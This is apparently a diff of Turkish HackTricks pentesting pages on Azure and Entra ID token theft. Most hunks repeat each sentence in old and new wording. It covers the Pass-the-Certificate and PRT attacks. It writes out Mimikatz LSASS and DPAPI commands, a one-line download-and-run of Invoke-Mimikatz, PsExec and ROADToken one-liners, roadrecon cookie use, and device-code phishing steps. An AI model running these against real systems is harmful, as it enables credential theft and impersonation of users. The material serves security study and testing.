- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -9,17 +9,17 @@
Tokenlar ve hassas veriler Azure CLI tarafından yerel olarak depolanır, bu da güvenlik endişeleri doğurur:
1. **Erişim Tokenları**: `C:\Users\<username>\.Azure` konumundaki `accessTokens.json` içinde düz metin olarak saklanır.
2. **Abonelik Bilgileri**: Aynı dizinde bulunan `azureProfile.json`, abonelik detaylarını içerir.
2. **Abonelik Bilgileri**: Aynı dizinde bulunan `azureProfile.json`, abonelik detaylarını tutar.
3. **Log Dosyaları**: `.azure` içindeki `ErrorRecords` klasörü, maruz kalmış kimlik bilgileri içeren loglar barındırabilir, örneğin:
- Kimlik bilgileri gömülü olarak yürütülen komutlar.
- Tokenlar kullanılarak erişilen URL'ler, hassas bilgileri açığa çıkarabilir.
### Azure PowerShell
Azure PowerShell de tokenlar ve hassas verileri depolar, bunlara yerel olarak erişilebilir:
Azure PowerShell de tokenlar ve hassas verileri yerel olarak depolar:
1. **Erişim Tokenları**: `C:\Users\<username>\.Azure` konumundaki `TokenCache.dat`, erişim tokenlarını düz metin olarak saklar.
2. **Hizmet Prensibi Sırları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır.
2. **Hizmet Prensibi Gizli Anahtarları**: Bunlar `AzureRmContext.json` içinde şifrelenmemiş olarak saklanır.
3. **Token Kaydetme Özelliği**: Kullanıcılar, yetkisiz erişimi önlemek için dikkatli bir şekilde kullanılmalıdır.
### Onları Bulmak için Otomatik Araçlar
@@ -4,13 +4,13 @@
## Sertifikayı Geç (Azure)
Azure'a bağlı makinelerde, **NegoEx** kimlik doğrulama mekanizmasını destekleyen her iki makine için gerekli kullanıcı (konu) adına **Entra ID CA** tarafından verilmiş sertifikalar kullanılarak bir makineden diğerine kimlik doğrulamak mümkündür.
Azure'a bağlı makinelerde, her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa, bir makineden diğerine kimlik doğrulamak için **Entra ID CA** tarafından gerekli kullanıcı (konu olarak) için verilmiş sertifikalar kullanılabilir.
Aşırı basitleştirilmiş terimlerle:
- Bağlantıyı başlatan makine (istemci) **bir kullanıcı için Entra ID'den bir sertifika** gerektirir.
- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı (oturum anahtarı ve güvenlik bağlamını kullanarak) ile imzalar ve **Entra ID'ye gönderir**.
- Entra ID, istemci oturum anahtarını ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**.
- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı ile imzalar (oturum anahtarı ve güvenlik bağlamını kullanarak) ve **Entra ID'ye gönderir**.
- Entra ID, istemci oturum anahtarı ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**.
Bu senaryoda ve [**PRT'yi Geç**](az-primary-refresh-token-prt.md) saldırısı için gerekli tüm bilgileri topladıktan sonra:
@@ -24,7 +24,7 @@ Kullanıcı için **P2P sertifikası** talep etmek mümkündür, araç [**PrtToC
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **kimlik doğrulaması** yapacak, **PSEXEC** çalıştıracak ve kurban makinesinde **CMD** açacak olan python aracını [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır.
Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **kimlik doğrulaması** yapacak, **PSEXEC** çalıştıracak ve kurban makinede **CMD** açacak python aracı [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır.
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```
@@ -4,7 +4,7 @@
## Bir Primary Refresh Token (PRT) Nedir?
Bir **Primary Refresh Token (PRT)**, Azure AD (Entra ID) kimlik doğrulamasında kullanılan uzun ömürlü bir yenileme jetonudur ve Kerberos TGT'ye benzer. Azure AD'ye bağlı bir cihazda kullanıcı girişi yapıldığında verilir ve kimlik bilgilerini yeniden istemeden çeşitli uygulamalar için erişim jetonları talep etmekte kullanılabilir. Her PRT, bir **oturum anahtarı** (aynı zamanda Proof-of-Possession anahtarı olarak da adlandırılır) ile birlikte gelir - istekleri imzalamak ve istemcinin PRT'ye sahip olduğunu kanıtlamak için kullanılan simetrik bir anahtar. PRT'nin kendisi, istemci tarafından okunamayan opak, şifrelenmiş bir blob iken, oturum anahtarı, jeton talep ederken PRT'yi içeren bir JWT'yi **imzalamak** için kullanılır. Diğer bir deyişle, yalnızca PRT'ye sahip olmak yeterli değildir; bir saldırganın meşruiyeti kanıtlamak için oturum anahtarına ihtiyacı vardır, bu da kimlik doğrulama için hem Kerberos TGT'ye hem de oturum anahtarına ihtiyaç duymaya benzer.
Bir **Primary Refresh Token (PRT)**, Azure AD (Entra ID) kimlik doğrulamasında kullanılan uzun ömürlü bir yenileme jetonudur ve Kerberos TGT'ye benzer. Azure AD'ye bağlı bir cihazda kullanıcı girişi yapıldığında verilir ve kimlik bilgilerini yeniden istemeden çeşitli uygulamalar için erişim jetonları talep etmekte kullanılabilir. Her PRT, bir **oturum anahtarı** (aynı zamanda Proof-of-Possession anahtarı olarak da adlandırılır) ile birlikte gelir - istekleri imzalamak ve istemcinin PRT'ye sahip olduğunu kanıtlamak için kullanılan simetrik bir anahtar. PRT'nin kendisi, istemci tarafından okunamayan opak, şifrelenmiş bir blob iken, oturum anahtarı jeton talep edilirken PRT'yi içeren bir JWT'yi **imzalamak** için kullanılır. Diğer bir deyişle, yalnızca PRT'ye sahip olmak yeterli değildir; bir saldırganın meşruiyeti kanıtlamak için oturum anahtarına ihtiyacı vardır; bu, kimlik doğrulama için hem Kerberos TGT'ye hem de oturum anahtarına ihtiyaç duymaya benzer.
Windows'ta, PRT ve oturum anahtarı, CloudAP eklentisi aracılığıyla LSASS sürecinde önbelleğe alınır. Bir cihazda bir **TPM** (Trusted Platform Module) varsa, Azure AD anahtarları ekstra güvenlik için TPM'ye bağlar. Bu, TPM ile donatılmış cihazlarda oturum anahtarının, normal koşullar altında bellekten doğrudan okunamayacak şekilde TPM içinde saklandığı veya kullanıldığı anlamına gelir. Eğer bir TPM mevcut değilse (örneğin, birçok VM veya eski sistemlerde), anahtarlar yazılımda saklanır ve DPAPI şifrelemesi ile korunur. Her iki durumda da, makinede yönetici ayrıcalıklarına veya kod yürütme yeteneğine sahip bir saldırgan, **PRT ve oturum anahtarını bellekten dökme** girişiminde bulunabilir ve ardından bunları bulutta kullanıcıyı taklit etmek için kullanabilir.
Tipik yenileme jetonlarının (genellikle uygulama spesifik olan) aksine, bir PRT daha geniştir ve cihazınızın neredeyse her Entra ID entegre kaynağı veya hizmeti için jeton talep etmesine olanak tanır.
@@ -17,7 +17,7 @@ PRT'nin nasıl çalıştığını basit bir şekilde özetleyelim:
- Cihazınız (bir Windows dizüstü bilgisayarı veya mobil telefon gibi) Entra ID'ye katıldığında veya kaydolduğunda, kimlik bilgilerinizi (kullanıcı adı/şifre/MFA) kullanarak kimlik doğrulaması yapar.
- Başarılı kimlik doğrulamasının ardından, Entra ID, cihazınıza özel olarak bağlanmış bir PRT verir.
- Başarılı kimlik doğrulamanın ardından, Entra ID, cihazınıza özel olarak bağlanmış bir PRT verir.
2. **Jeton Depolama:**
@@ -37,13 +37,13 @@ PRT'nin nasıl çalıştığını basit bir şekilde özetleyelim:
### PRT'ler Neden Güçlüdür?
- **Evrensel Erişim:** Tipik olarak bir uygulama veya kaynakla sınırlı olan jetonların aksine, bir PRT tüm Entra ID entegre hizmetlerine erişimi kolaylaştırabilir.
- **Evrensel Erişim:** Tipik jetonların bir uygulama veya kaynakla sınırlı olmasının aksine, bir PRT tüm Entra ID entegre hizmetlerine erişimi kolaylaştırabilir.
- **Gelişmiş Güvenlik:** Donanım korumaları (TPM gibi) ile birlikte, PRT'ler güvenli jeton depolama ve kullanımını sağlar.
- **Kullanıcı Deneyimi:** PRT'ler, sık kimlik doğrulama istemlerini azaltarak ve gerçek kesintisiz SSO'yu mümkün kılarak kullanıcı deneyimini önemli ölçüde iyileştirir.
## PRT'nin Mevcut Olup Olmadığını Nasıl Anlarsınız?
## PRT'nin mevcut olup olmadığını nasıl anlarız?
- PRT'nin mevcut olup olmadığını kontrol edin:
```bash
@@ -68,9 +68,9 @@ Windows cihazlarında **TPM bağlaması olmadan** [bu gönderiye](https://dirkja
### Mimikatz
1. **PRT (Birincil Yenileme Token'ı) LSASS'tan** (Yerel Güvenlik Otoritesi Alt Sistem Servisi) çıkarılır ve sonraki kullanım için saklanır.
1. **PRT (Birincil Yenileme Token'ı) LSASS'tan** (Yerel Güvenlik Otoritesi Alt Sistemi Servisi) çıkarılır ve sonraki kullanım için saklanır.
2. **Oturum Anahtarı daha sonra çıkarılır**. Bu anahtar başlangıçta verildiği ve ardından yerel cihaz tarafından yeniden şifrelendiği için, bir DPAPI anahtarının kullanılarak çözülmesi gerekmektedir. DPAPI (Veri Koruma API'si) hakkında ayrıntılı bilgiye bu kaynaklarda ulaşabilirsiniz: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ve uygulamasını anlamak için [Çerezi geçme saldırısına](az-pass-the-cookie.md) bakabilirsiniz.
3. Oturum Anahtarı çözüldükten sonra, **türetilen anahtar ve PRT için bağlam elde edilir**. Bunlar **PRT çerezinin oluşturulması için** kritik öneme sahiptir. Özellikle, türetilen anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır, [buradan](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) erişebilirsiniz.
3. Oturum Anahtarı çözüldükten sonra, **türetilen anahtar ve PRT için bağlam elde edilir**. Bunlar **PRT çerezinin oluşturulması** için kritik öneme sahiptir. Özellikle, türetilen anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır ve [buradan](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) erişilebilir.
```bash
privilege::debug
sekurlsa::cloudap
@@ -79,9 +79,9 @@ sekurlsa::cloudap
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
**PRT alanı**, şifrelenmiş yenileme jetonunu (genellikle base64 dizesi) içerir ve ProofOfPossessionKey içindeki KeyValue, DPAPI ile şifrelenmiş oturum anahtarıdır (aynı zamanda base64).
**PRT alanı**, şifrelenmiş yenileme jetonunu (tipik olarak base64 dizesi) içerir ve ProofOfPossessionKey içindeki KeyValue, DPAPI ile şifrelenmiş oturum anahtarıdır (aynı zamanda base64).
Daha sonra, **`sekurlsa::cloudap`** çıktısından, `ProofOfPossessionKey` alanındaki **`KeyValue`** içindeki base64 blobunu kopyalayın (bu, DPAPI ile şifrelenmiş oturum anahtarıdır). Bu şifrelenmiş anahtar olduğu gibi kullanılamaz sistemin DPAPI kimlik bilgileri kullanılarak şifrelenmesi gerekir.
Daha sonra, **`sekurlsa::cloudap`** çıktısından, `ProofOfPossessionKey` alanındaki **`KeyValue`** içindeki base64 blobunu kopyalayın (bu, DPAPI ile şifrelenmiş oturum anahtarıdır). Bu şifrelenmiş anahtar olduğu gibi kullanılamaz sistemin DPAPI kimlik bilgileri kullanılarak şifre çözülmelidir.
Çünkü sistem sırları için DPAPI şifrelemesi, makinenin sistem bağlamını gerektirir, jetonunuzu SYSTEM olarak yükseltin ve Mimikatzin DPAPI modülünü kullanarak şifreyi çözün:
```bash
@@ -91,9 +91,9 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
```
`token::elevate`, SYSTEM'ı taklit edecek ve `dpapi::cloudapkd` komutu `/unprotect` ile sağlanan KeyValue blob'unu çözmek için DPAPI anahtarını kullanacaktır. Bu, açık metin oturum anahtarını ve ayrıca imzalama için kullanılan ilişkili Türetilmiş Anahtar ve Bağlamı sağlar:
`token::elevate` SYSTEM'ı taklit edecek ve `dpapi::cloudapkd` komutu `/unprotect` ile sağlanan KeyValue blob'unu çözmek için DPAPI anahtarını kullanacaktır. Bu, açık metin oturum anahtarını ve imzalama için kullanılan ilişkili Türemiş Anahtar ve Bağlamı sağlar:
- **Açık anahtar** düz metin olarak 32 baytlık oturum anahtarı (hex dizesi olarak temsil edilir).
- **Türetilmiş Anahtar** oturum anahtarından ve bir bağlam değerinden türetilen 32 baytlık anahtar (bununla ilgili daha fazla bilgi aşağıda).
- **Türemiş Anahtar** oturum anahtarından ve bir bağlam değerinden türetilen 32 baytlık anahtar (bununla ilgili daha fazla bilgi aşağıda).
- **Bağlam** PRT çerezi için imzalama anahtarını türetirken kullanılan 24 baytlık rastgele bağlam.
> [!NOTE]
@@ -112,7 +112,7 @@ Ayrıca, kullanıcıyı taklit etmek için PRT çerezinin PRT'si ile **`roadtx`*
### Mimikatz + AADInternals
**`AADInternals`** PowerShell modülü, daha önce elde edilen PRT ve oturum anahtarı ile geçerli bir PRT belirteci oluşturmak için de kullanılabilir. Bu, nonce ile yeni bir PRT belirteci alma sürecini otomatikleştirmek için yararlıdır; bu, Azure AD Graph API veya diğer kaynaklar için erişim belirteçleri almak için kullanılabilir:
**`AADInternals`** PowerShell modülü, daha önce elde edilen PRT ve oturum anahtarı ile geçerli bir PRT belirteci oluşturmak için de kullanılabilir. Bu, nonce ile yeni bir PRT belirteci elde etme sürecini otomatikleştirmek için yararlıdır; bu, Azure AD Graph API veya diğer kaynaklar için erişim belirteçleri almak için kullanılabilir:
```bash
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
@@ -165,13 +165,13 @@ Belirtilen korumalara rağmen, bir cihazı (yerel bir kullanıcı veya hatta SYS
Modern Windows, bulut kimlik doğrulamasını yerleşik bir **token broker** yığını aracılığıyla yönetir; bu, hem kullanıcı modunda hem de LSASS (Yerel Güvenlik Otoritesi) içinde bileşenler içerir. Bu mimarinin ana parçaları şunlardır:
- **LSASS CloudAP Eklentisi:** Bir cihaz Azure AD'ye katıldığında, LSASS PRT'leri ve token taleplerini yöneten bulut kimlik doğrulama paketlerini (örneğin, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) yükler. LSASS (SYSTEM olarak çalışan) PRT depolama, yenileme ve kullanımını düzenler ve kriptografik işlemler gerçekleştirmek için TPM ile etkileşimde bulunur (örneğin, oturum anahtarı ile bir PRT talebini imzalamak).
- **LSASS CloudAP Eklentisi:** Bir cihaz Azure AD'ye katıldığında, LSASS PRT'leri ve token taleplerini yöneten bulut kimlik doğrulama paketlerini (örneğin, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) yükler. LSASS (SYSTEM olarak çalışan) PRT depolama, yenileme ve kullanımını düzenler ve kriptografik işlemleri gerçekleştirmek için TPM ile etkileşimde bulunur (örneğin, oturum anahtarı ile bir PRT talebini imzalamak).
- **Web Hesap Yöneticisi (WAM):** Windows Web Hesap Yöneticisi, uygulamaların veya tarayıcıların kimlik bilgilerini istemeden bulut hesapları için token talep etmelerine olanak tanıyan bir kullanıcı modu çerçevesidir (COM/WinRT API'leri aracılığıyla erişilebilir). WAM, kullanıcı uygulamaları ile güvenli LSASS/TPM destekli PRT arasında bir broker olarak işlev görür. Örneğin, Microsoft'un MSAL kütüphanesi ve belirli işletim sistemi bileşenleri, oturum açmış kullanıcının PRT'sini kullanarak sessizce token almak için WAM'ı kullanır.
- **BrowserCore.exe ve Token Broker COM arayüzleri:** Tarayıcı SSO'su için Windows, **BrowserCore.exe** adında bir bileşen içerir ( *Windows Security\BrowserCore* altında bulunur). Bu, tarayıcılar (Edge, Chrome bir uzantı aracılığıyla vb.) tarafından Azure AD girişi için PRT türetilmiş bir SSO token'ı elde etmek için kullanılan yerel bir mesajlaşma ana bilgisidir. Arka planda, BrowserCore, `MicrosoftAccountTokenProvider.dll` tarafından sağlanan bir COM nesnesini kullanarak PRT tabanlı bir çerez/token alır. Özünde, bu COM arayüzü, kullanıcı olarak çalışan herhangi bir sürecin SSO token'ı almak için çağrabileceği birinci taraf "token broker" API'sidir (kullanıcının LSASS'ta geçerli bir PRT'si olduğu sürece).
- **BrowserCore.exe ve Token Broker COM arayüzleri:** Tarayıcı SSO'su için Windows, **BrowserCore.exe** adında bir bileşen içerir ( *Windows Security\BrowserCore* altında bulunur). Bu, tarayıcılar (Edge, Chrome bir uzantı aracılığıyla vb.) tarafından Azure AD girişi için PRT türetilmiş bir SSO token'ı elde etmek için kullanılan yerel bir mesajlaşma ana bilgisayarıdır. Arka planda, BrowserCore, `MicrosoftAccountTokenProvider.dll` tarafından sağlanan bir COM nesnesini kullanarak PRT tabanlı bir çerez/token alır. Temelde, bu COM arayüzü, kullanıcı olarak çalışan herhangi bir sürecin SSO token'ı almak için çağrabileceği birinci taraf "token broker" API'sidir (kullanıcının LSASS'ta geçerli bir PRT'si olduğu sürece).
Bir Azure AD katılımcısı bir kaynağa (örneğin, Azure Portal) erişmeye çalıştığında, akış genellikle şöyle olur: bir uygulama WAM veya BrowserCore'un COM arayüzüne çağrıda bulunur, bu da LSASS ile iletişim kurar. LSASS, PRT ve oturum anahtarını (TPM tarafından güvence altına alınmış) kullanarak bir **SSO token'ı** üretir -- genellikle **PRT çerezi** olarak adlandırılır -- bu daha sonra uygulamaya veya tarayıcıya geri verilir. PRT çerezi, şifrelenmiş PRT ve bir nonce içeren özel bir JWT'dir ve PRT'nin oturum anahtarından türetilen bir anahtarla imzalanmıştır. Bu çerez, cihazın ve kullanıcının geçerli bir PRT'ye sahip olduğunu kanıtlamak için Azure AD'ye (bir `x-ms-RefreshTokenCredential` başlığı içinde) gönderilir ve Azure AD'nin çeşitli uygulamalar için standart OAuth yenileme ve erişim token'ları vermesine olanak tanır. Özellikle, PRT'de bulunan herhangi bir Çok Faktörlü Kimlik Doğrulama (MFA) talebi, bu SSO süreci aracılığıyla elde edilen token'lara taşınır; bu da PRT türetilmiş token'ların MFA korumalı kaynakları karşılayabileceği anlamına gelir.
Bir Azure AD katılımcısı bir kaynağa erişmeye çalıştığında (örneğin, Azure Portal), akış genellikle şöyle olur: bir uygulama WAM veya BrowserCore'un COM arayüzüne çağrıda bulunur, bu da LSASS ile iletişim kurar. LSASS, PRT ve oturum anahtarını (TPM tarafından güvence altına alınmış) kullanarak bir **SSO token'ı** üretir - genellikle **PRT çerezi** olarak adlandırılır - bu da uygulamaya veya tarayıcıya geri verilir. PRT çerezi, şifrelenmiş PRT ve bir nonce içeren özel bir JWT'dir ve PRT'nin oturum anahtarından türetilen bir anahtarla imzalanır. Bu çerez, cihazın ve kullanıcının geçerli bir PRT'ye sahip olduğunu kanıtlamak için Azure AD'ye (bir `x-ms-RefreshTokenCredential` başlığı içinde) gönderilir ve Azure AD'nin çeşitli uygulamalar için standart OAuth yenileme ve erişim token'ları vermesine olanak tanır. Özellikle, PRT'de bulunan herhangi bir Çok Faktörlü Kimlik Doğrulama (MFA) talebi, bu SSO süreci aracılığıyla elde edilen token'lara taşınır; bu da PRT türetilmiş token'ların MFA korumalı kaynakları karşılayabileceği anlamına gelir.
### Kullanıcı Düzeyinde Token Hırsızlığı (Yönetici Olmayan)
@@ -185,11 +185,11 @@ BrowserCore, PRT çerezlerini almak için bir COM sınıfı (`MicrosoftAccountTo
```bash
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
```
*(Azure AD yenileme jetonu veya PRT çerezi döner)*
*(Azure AD yenileme belirteci veya PRT çerezi döner)*
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT çerezi elde etmek** için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme jetonu elde etmek** için kullanılabilir.
ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT çerezi elde etmek** için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme belirteci elde etmek** için kullanılabilir.
Geçerli bir PRT çerezi oluşturmak için ihtiyacınız olan ilk şey bir nonce'dur.\
Bunu şu şekilde alabilirsiniz:
@@ -220,7 +220,7 @@ Bir satırlık:
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Sonra **oluşturulan çerezi** kullanarak **jetonlar** **üretebilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş** yapabilirsiniz:
Ardından **oluşturulan çerezi** kullanarak **jetonlar** **üretebilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş** yapabilirsiniz:
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
@@ -250,38 +250,38 @@ $app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("clien
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
```
*(Sessizce PRT'yi kullanarak bir erişim token'ı alır)*
*(Sessizce PRT'yi kullanarak bir erişim belirteci alır)*
#### Yönetici / SYSTEM Düzeyinde Token Suistimali
#### Yönetici / SYSTEM Düzeyinde Belirteç Suistimali
Eğer saldırgan **Yönetici veya SYSTEM** seviyesine yükselirse, doğrudan herhangi bir Azure AD oturum açmış kullanıcıyı taklit edebilir ve aynı **COM/WAM token broker API'lerini** kullanabilir. TPM korumalı PRT'ler bu meşru token verilmesini engellemez.
Saldırgan **Yönetici veya SYSTEM** seviyesine yükselirse, doğrudan herhangi bir Azure AD oturum açmış kullanıcıyı taklit edebilir ve aynı **COM/WAM token broker API'lerini** kullanabilir. TPM korumalı PRT'ler bu meşru belirteç verilmesini engellemez.
### **Kullanıcı Taklidi ve Token Alma**
### **Kullanıcı Taklidi ve Belirteç Alma**
Admin/SYSTEM, token üretimi için BrowserCore veya WAM'ı çağırmak amacıyla diğer kullanıcıların çalışan oturumlarını taklit edebilir.
Admin/SYSTEM, belirteç üretimi için BrowserCore veya WAM'ı çağırmak üzere diğer kullanıcıların çalışan oturumlarını taklit edebilir.
Bunun için sadece kullanıcı sürecini taklit edin (örneğin, `explorer.exe`) ve önceki bölümde belirtilen herhangi bir teknikle token broker API'lerini çağırın.
Bunun için sadece kullanıcı sürecini taklit edin (örneğin, `explorer.exe`) ve önceki bölümde yorumlanan herhangi bir teknikle belirteç broker API'lerini çağırın.
### **Doğrudan LSASS & Token Broker Etkileşimi (İleri Düzey)**
### **Doğrudan LSASS & Belirteç Broker Etkileşimi (İleri Düzey)**
Bir yönetici, PRT'yi suistimal etmek için LSASS ile çalışmaya devam edebilir: örneğin, bir yönetici LSASS'a kod enjekte edebilir veya LSASS'ın bir token üretmesini sağlamak için iç CloudAP fonksiyonlarını çağırabilir. Dirk-jan’ın araştırması, bir yöneticinin “LSASS'taki PRT anahtarlarıyla kripto API'leri kullanarak etkileşimde bulunabileceğini” belirtmiştir. Pratikte, bu, LSASSın kendi fonksiyonlarını (API hooking veya RPC gibi bir teknikle, mevcutsa) kullanarak bir PRT çerezi üretmek anlamına gelebilir. Diğer bir yaklaşım, oturum anahtarının bellek içinde görünebileceği herhangi bir pencereyi istismar etmektir örneğin, PRT yenileme veya cihaz kaydı sırasında, kullanıma sunulmadan önce şifrelenmemişken. Bu tür saldırılar oldukça karmaşık ve durumsaldır. Daha basit bir yönetici taktiği, mevcut token tutucularını veya önbellekleri suistimal etmektir: LSASS, bellek içinde uygulamalar için yakın zamanda verilmiş yenileme token'larını önbelleğe alır (DPAPI ile şifrelenmiş). Kararlı bir SYSTEM saldırganu, belirli uygulamalar için yenileme token'larını doğrudan çalmak amacıyla bu DPAPI korumalı token'ları çıkarmaya çalışabilir (bir yönetici tarafından elde edilebilen kullanıcının anahtarını kullanarak). Ancak, en kolay ve en genel yöntem, Azure AD'nin taze token'lar (tüm uygun taleplerle) vermesini garanti eden taklit ve belgelenmiş token broker arayüzlerinin kullanımıdır; bu, şifrelemeyi kırmaya çalışmaktan daha etkilidir.
Bir yönetici, PRT'yi suistimal etmek için LSASS ile çalışmaya devam edebilir: örneğin, bir yönetici LSASS'a kod enjekte edebilir veya LSASS'ın bir belirteç üretmesini sağlamak için iç CloudAP işlevlerini çağırabilir. Dirk-jan’ın araştırması, bir yöneticinin “LSASS'taki PRT anahtarlarıyla kripto API'leri kullanarak etkileşimde bulunabileceğini” belirtmiştir. Pratikte, bu, bir PRT çerezi oluşturmak için LSASS'ın kendi işlevlerini (mevcutsa API hooking veya RPC gibi bir teknik aracılığıyla) kullanmak anlamına gelebilir. Diğer bir yaklaşım, oturum anahtarının bellek içinde görünebileceği herhangi bir pencereyi istismar etmektir örneğin, PRT yenileme veya cihaz kaydı sırasında, kullanıma sunulmadan önce şifrelenmemişken. Bu tür saldırılar oldukça karmaşık ve durumsaldır. Daha basit bir yönetici taktiği, mevcut belirteç tutucularını veya önbellekleri suistimal etmektir: LSASS, bellek içinde uygulamalar için yakın zamanda verilmiş yenileme belirteçlerini önbelleğe alır (DPAPI ile şifrelenmiş). Kararlı bir SYSTEM saldırganu, belirli uygulamalar için yenileme belirteçlerini doğrudan çalmak amacıyla bu DPAPI korumalı belirteçleri çıkarmaya çalışabilir (bir yönetici tarafından elde edilebilen kullanıcının anahtarını kullanarak). Ancak, en kolay ve en genel yöntem, Azure AD'nin taze belirteçler (tüm uygun taleplerle) vermesini garanti eden taklit ve belgelenmiş belirteç broker arayüzlerinin kullanımıdır; bu, şifrelemeyi kırmaya çalışmaktan daha etkilidir.
## PRT'leri Phishing
## PRT'yi Phishing
**OAuth Cihaz Kodu** akışını **Microsoft Authentication Broker istemci kimliği** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) ve **Cihaz Kayıt Servisi (DRS)** kaynağını kullanarak bir **yenileme token'ı elde etmek için** suistimal edin; bu token, bir **sahte cihaz** kaydedildikten sonra bir **Birincil Yenileme Token'ına (PRT)** yükseltilebilir.
**OAuth Cihaz Kodu** akışını **Microsoft Authentication Broker istemci kimliği** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) ve **Cihaz Kaydı Servisi (DRS)** kaynağını kullanarak bir **yenileme belirteci elde etmek için suistimal edin; bu belirteç, bir **sahte cihaz** kaydedildikten sonra bir Birincil Yenileme Belirteci (PRT) ile yükseltilebilir.**
### **Bunun neden işe yaradığı**
### **Neden bu işe yarıyor**
- **PRT** **cihaz bağlıdır** ve **(neredeyse) her Entra korumalı uygulama için SSO'yu** etkinleştirir.
- **Broker istemci + DRS** kombinasyonu, bir cihaz kaydedildiğinde phishing ile elde edilen **yenileme token'ının** **PRT ile değiştirilmesine** olanak tanır.
- **MFA atlanmaz**: **kullanıcı, phishing sırasında MFA** gerçekleştirir; **MFA talepleri** sonuçta elde edilen PRT'ye yayılır, bu da saldırganın uygulamalara **daha fazla istem olmadan** erişmesini sağlar.
- **Broker istemci + DRS** kombinasyonu, bir cihaz kaydedildiğinde phishing ile elde edilen **yenileme belirtecinin** **PRT ile değiştirilmesine** olanak tanır.
- **MFA atlanmaz**: **kullanıcı, phishing sırasında MFA** gerçekleştirir; **MFA talepleri** sonuçta elde edilen PRT'ye yayılır ve saldırgana uygulamalara **daha fazla istem olmadan** erişim sağlar.
**Ön koşullar**:
**Gereksinimler**:
- **Cihaz Kodu aracılığıyla kullanıcı kimlik doğrulaması**, **Broker istemci kimliği** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) ve **DRS kapsamları/kaynağı** (örneğin, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** veya **`https://enrollment.manage.microsoft.com/`**).
- **Cihaz Kodu aracılığıyla Kullanıcı kimlik doğrulaması**, **Broker istemci kimliği** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) ve **DRS kapsamı/kaynağı** (örneğin, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** veya **`https://enrollment.manage.microsoft.com/`**).
- **Kullanıcı, Entra ID'de cihazları kaydedebilir** (**varsayılan: izinli**, ancak kısıtlanabilir veya kota sınırlı olabilir).
